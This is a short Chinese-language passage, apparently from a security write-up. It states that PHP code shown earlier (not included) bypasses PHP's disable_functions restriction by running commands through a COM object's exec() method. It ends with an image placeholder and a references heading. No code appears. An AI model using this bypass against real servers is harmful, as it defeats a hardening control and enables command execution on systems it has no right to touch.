使用上面的 PHP 代码通过 COM 对象的 exec() 方法即可绕过 disable_functions 执行命令。

image-20220110184340542


参考资料